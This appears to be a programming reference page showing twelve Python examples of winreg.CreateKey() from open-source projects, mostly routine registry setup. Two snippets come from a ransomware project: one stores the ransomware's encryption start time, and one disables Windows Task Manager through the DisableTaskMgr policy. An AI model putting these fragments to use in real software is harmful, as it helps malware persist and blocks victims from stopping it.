Python winreg.CreateKey() Examples
The following are 12
code examples of winreg.CreateKey().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
winreg
, or try the search function
.
Example #1
Source File: nzblnkconfig.py From nzb-monkey with MIT License | 7 votes |
def config_win(): try: import winreg as reg key = reg.CreateKey(reg.HKEY_CURRENT_USER, 'SOFTWARE\\Classes\\nzblnk') reg.SetValue(key, '', reg.REG_SZ, 'URL:nzblnk') reg.SetValueEx(key, 'URL Protocol', 0, reg.REG_SZ, '') reg.CloseKey(key) key = reg.CreateKey(reg.HKEY_CURRENT_USER, 'SOFTWARE\\Classes\\nzblnk\\shell\\open\\command') reg.SetValue(key, '', reg.REG_SZ, '"{0}" "%1"'.format(op.normpath(os.path.abspath(sys.executable)))) reg.CloseKey(key) except (OSError, ImportError): print(Col.FAIL + ' FAILED to setup registry link for NZBLNK scheme!' + Col.OFF) sleep(wait_time) sys.exit(2)
Example #2
Source File: win_add2path.py From python3_ios with BSD 3-Clause "New" or "Revised" License | 7 votes |
def modify(): pythonpath = os.path.dirname(os.path.normpath(sys.executable)) scripts = os.path.join(pythonpath, "Scripts") appdata = os.environ["APPDATA"] if hasattr(site, "USER_SITE"): usersite = site.USER_SITE.replace(appdata, "%APPDATA%") userpath = os.path.dirname(usersite) userscripts = os.path.join(userpath, "Scripts") else: userscripts = None with winreg.CreateKey(HKCU, ENV) as key: try: envpath = winreg.QueryValueEx(key, PATH)[0] except OSError: envpath = DEFAULT paths = [envpath] for path in (pythonpath, scripts, userscripts): if path and path not in envpath and os.path.isdir(path): paths.append(path) envpath = os.pathsep.join(paths) winreg.SetValueEx(key, PATH, 0, winreg.REG_EXPAND_SZ, envpath) return paths, envpath
Example #3
Source File: win_add2path.py From odoo13-x64 with GNU General Public License v3.0 | 6 votes |
def modify(): pythonpath = os.path.dirname(os.path.normpath(sys.executable)) scripts = os.path.join(pythonpath, "Scripts") appdata = os.environ["APPDATA"] if hasattr(site, "USER_SITE"): usersite = site.USER_SITE.replace(appdata, "%APPDATA%") userpath = os.path.dirname(usersite) userscripts = os.path.join(userpath, "Scripts") else: userscripts = None with winreg.CreateKey(HKCU, ENV) as key: try: envpath = winreg.QueryValueEx(key, PATH)[0] except OSError: envpath = DEFAULT paths = [envpath] for path in (pythonpath, scripts, userscripts): if path and path not in envpath and os.path.isdir(path): paths.append(path) envpath = os.pathsep.join(paths) winreg.SetValueEx(key, PATH, 0, winreg.REG_EXPAND_SZ, envpath) return paths, envpath
Example #4
Source File: Crypter.py From Crypter with GNU General Public License v3.0 | 6 votes |
def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = winreg.QueryValueEx(reg, "")[0] winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) winreg.CloseKey(reg) return start_time
Example #5
Source File: win_add2path.py From android_universal with MIT License | 6 votes |
def modify(): pythonpath = os.path.dirname(os.path.normpath(sys.executable)) scripts = os.path.join(pythonpath, "Scripts") appdata = os.environ["APPDATA"] if hasattr(site, "USER_SITE"): usersite = site.USER_SITE.replace(appdata, "%APPDATA%") userpath = os.path.dirname(usersite) userscripts = os.path.join(userpath, "Scripts") else: userscripts = None with winreg.CreateKey(HKCU, ENV) as key: try: envpath = winreg.QueryValueEx(key, PATH)[0] except OSError: envpath = DEFAULT paths = [envpath] for path in (pythonpath, scripts, userscripts): if path and path not in envpath and os.path.isdir(path): paths.append(path) envpath = os.pathsep.join(paths) winreg.SetValueEx(key, PATH, 0, winreg.REG_EXPAND_SZ, envpath) return paths, envpath
Example #6
Source File: Windows.py From keyrings.alt with MIT License | 5 votes |
def set_password(self, service, username, password): """Write the password to the registry """ # encrypt the password password_encrypted = _win_crypto.encrypt(password.encode('utf-8')) # encode with base64 password_base64 = base64.encodestring(password_encrypted) # encode again to unicode password_saved = password_base64.decode('ascii') # store the password key_name = self._key_for_service(service) hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_name) winreg.SetValueEx(hkey, username, 0, winreg.REG_SZ, password_saved)
Example #7
Source File: platform.py From brotab with MIT License | 5 votes |
def windows_registry_set_key(key_path, value): from winreg import CreateKey, SetValue, HKEY_CURRENT_USER, REG_SZ with CreateKey(HKEY_CURRENT_USER, key_path) as sub_key: SetValue(sub_key, None, REG_SZ, value)
Example #8
Source File: registry.py From BoomER with GNU General Public License v3.0 | 5 votes |
def create_key(self): try: self.current_key = winreg.CreateKey(self.key, self.subkey) to_return = self._return_success(self.current_key) except WindowsError as e: to_return = self._return_error(str(e)) return to_return
Example #9
Source File: ext_server_uacamola.py From uac-a-mola with GNU General Public License v3.0 | 5 votes |
def create_key(self, key, subkey): """ Creates a key THAT DOESN'T EXIST, we need to keep track of the keys that we are creating """ self.no_restore = False self.non_existent_path(key, subkey) try: return winreg.CreateKey(key, subkey) except WindowsError as error: self.no_restore = True return None
Example #10
Source File: TaskManager.py From Crypter with GNU General Public License v3.0 | 5 votes |
def disable(self): ''' @summary: Disables Windows Task Manager ''' key_exists = False # Try to read the key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] winreg.CloseKey(reg) key_exists = True except: pass # If key doesn't exist, create it and set to disabled if not key_exists: reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) winreg.CloseKey(reg) # If enabled, disable it elif key_exists and not disabled: reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) winreg.CloseKey(reg)
Example #11
Source File: regobj.py From NVDARemote with GNU General Public License v2.0 | 4 votes |
def set_subkey(self,name,value=None): """Create the named subkey and set its value. There are several different ways to specify the new contents of the named subkey: * if 'value' is the Key class, a subclass thereof, or None, then the subkey is created but not populated with any data. * if 'value' is a key instance, the data from that key will be copied into the new subkey. * if 'value' is a dictionary, the dict's keys are interpreted as key or value names and the corresponding entries are created within the new subkey - nested dicts create further subkeys, while scalar values create values on the subkey. * any other value will be converted to a Value object and assigned to the default value for the new subkey. """ self.sam |= KEY_CREATE_SUB_KEY subkey = Key(name,self) try: subkey = self.get_subkey(name) except AttributeError: _winreg.CreateKey(self.hkey,name) subkey = self.get_subkey(name) if value is None: pass elif issubclass(type(value),type) and issubclass(value,Key): pass elif isinstance(value,Key): for v in value.values(): subkey[v.name] = v for k in value.subkeys(): subkey.set_subkey(k.name,k) elif isinstance(value,dict): for (nm,val) in value.items(): if isinstance(val,dict): subkey.set_subkey(nm,val) elif isinstance(val,Key): subkey.set_subkey(nm,val) elif issubclass(type(val),type) and issubclass(val,Key): subkey.set_subkey(nm,val) else: subkey[nm] = val else: if not isinstance(value,Value): value = Value(value) subkey[value.name] = value
Example #12
Source File: windows.py From Tautulli with GNU General Public License v3.0 | 4 votes |
def set_startup(): if plexpy.WIN_SYS_TRAY_ICON: plexpy.WIN_SYS_TRAY_ICON.change_tray_icons() startup_reg_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" exe = sys.executable if plexpy.FROZEN: args = [exe] else: args = [exe, plexpy.FULL_PATH] cmd = ' '.join(cmd_quote(arg) for arg in args).replace('python.exe', 'pythonw.exe').replace("'", '"') if plexpy.CONFIG.LAUNCH_STARTUP: try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, startup_reg_path) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_reg_path, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, common.PRODUCT, 0, winreg.REG_SZ, cmd) winreg.CloseKey(registry_key) logger.info("Added Tautulli to Windows system startup registry key.") return True except WindowsError as e: logger.error("Failed to create Windows system startup registry key: %s", e) return False else: # Check if registry value exists try: registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_reg_path, 0, winreg.KEY_ALL_ACCESS) winreg.QueryValueEx(registry_key, common.PRODUCT) reg_value_exists = True except WindowsError: reg_value_exists = False if reg_value_exists: try: winreg.DeleteValue(registry_key, common.PRODUCT) winreg.CloseKey(registry_key) logger.info("Removed Tautulli from Windows system startup registry key.") return True except WindowsError as e: logger.error("Failed to delete Windows system startup registry key: %s", e) return False